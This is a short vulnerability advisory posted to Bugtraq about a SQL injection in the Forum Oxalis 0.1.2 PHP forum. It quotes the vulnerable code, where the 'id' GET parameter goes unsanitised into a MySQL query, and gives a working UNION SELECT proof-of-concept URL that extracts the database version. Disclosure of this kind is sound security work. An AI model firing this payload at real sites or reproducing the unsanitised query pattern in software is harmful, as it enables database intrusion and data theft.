Forum Oxalis 0.1.2 <= SQL Injection Vulnerability

From: pereira@secbiz.de
To: bugtraq@securityfocus.com
Cc:
Subject: Forum Oxalis 0.1.2 <= SQL Injection Vulnerability
Date:


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Forum Oxalis 0.1.2 <= SQL Injection Vulnerability
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Discovered by: Jean Pascal Pereira <pereira@secbiz.de>

Vendor information:

"Forum Oxalis is a minimalis GPL PHP forum using CSS."

Vendor URI: http://developer.berlios.de/projects/forumoxalis/

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Risk-level: High

The application is prone to a remote SQL injection vulnerability.

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func.php, line 72:

function lister_messages($id, $page, $parpage)

{
    global $mysql_table;

    $resu = mysql_query("select * from `$mysql_table` where id=$id");

    $nombre_messages = mysql_num_rows($resu);

forum.php, line 7:

$id = $_GET['id'];

forum.php, line 74:

case "message":

    lister_messages($id, $page, $reponses_par_page);

    $reponse_a_id = $id;

    break;

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Exploit / Proof Of Concept:

http://localhost/ForumOxalis/index.php?id=99999/**/UNION/**/SELECT/**/0x00,version(),0x00,0x00,0x00,0x00,0x00,0x00,0x00&action=message

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Solution:

Do some input validation. 

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